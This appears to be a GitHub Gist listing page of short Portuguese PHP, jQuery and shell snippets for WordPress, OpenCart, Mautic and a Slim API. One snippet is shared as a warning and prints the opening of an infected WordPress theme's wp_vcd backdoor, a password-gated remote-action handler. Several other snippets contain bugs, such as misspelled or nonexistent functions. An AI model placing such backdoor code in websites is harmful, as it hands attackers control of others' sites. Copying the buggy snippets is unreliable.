Skip to content

Instantly share code, notes, and snippets.

<?php
class PaymentConfig
{
private $data = [];
public function set($key, $value)
{
$this->data[$key] = $value;
}
@davidchc
davidchc / codigo_infectado.php
Created October 17, 2018 16:05
Trecho de um código de um tema WordPress infectado, causando lentidão no tema. Se tem alguma lentidão sem ter muito plugin, pode ser algum arquivo que esteja injectado.
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '92e307c113428ce35764bb8fb0c5fc7c'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
@davidchc
davidchc / mautic.php
Created September 15, 2018 13:13
Exemplo de integração no OpenCart usando Mautic
<?php
use Mautic\Auth\ApiAuth;
use Mautic\MauticApi;
class ModelNewsletterMautic extends Model {
private $publicKey = 'CHAVE PUBLICA';
private $secretKey = 'CHAVE SECRETA';
private $baseURL = 'http://mautic.seusite.com.br/api';
@davidchc
davidchc / otimizar.md
Created September 3, 2018 02:24
OTIMIZAÇÃO DE IMAGENS JPEG E PNG UTILIZANDO JPEGOPTIM E OPTIPNG

INSTALAR jpegoptim e optipng

sudo apt-get install jpegoptim optipng -y

EXECUTAR PARA OTIMIZAR TODAS AS IMAGENS JPEG

find . -iname "*.jpg" -print0 | xargs -0 jpegoptim --strip-all -m76

EXECUTAR PARA OTIMIZAR TODAS AS IMAGENS PNG

@davidchc
davidchc / criando_elementos_dinamicos.html
Last active August 21, 2018 01:06
Exemplo como criar elemento dinamicamente utilizando jQuery
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Criando elemento dinamico</title>
<!-- ADD BOOTSTRAP APENAS PRA FORMATAR HTML-->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" />
@davidchc
davidchc / index.php
Created August 20, 2018 21:59
exemplo de api com SLIM
<?php
require_once __DIR__.'/vendor/composer.php';
$app = new \Slim\App();
//Define a versão da API
$app->group('/v1', function(){
//recebe o POST
// seusite.com.br/v1/shippings
$this->post('/shippings', function ($request, $response, $args) {
$(document).on('click', '.del', function(e) {
e.preventDefaut();
$(this).parent().remove();
});
@davidchc
davidchc / functions.php
Created August 16, 2018 14:22
redirecionar para uma página definida pelo custom field
<?php
add_action('template_redirect', 'redirect_custom_field');
function redirect_custom_field() {
global $post;
if($url = get_meta_post($post->ID, 'url_redirect', true)) {
wp_redirect($url);
exit;
@davidchc
davidchc / Gateway.php
Created July 10, 2018 23:35
Gateway de pagamento
<?php
namespace Payment;
interface Gateway
{
public function processPayment($order_id);
public function success($order_id);
<?php
namespace View;
class Template
{
public function render($file, $args=[])
{
extract($this->data);
ob_start();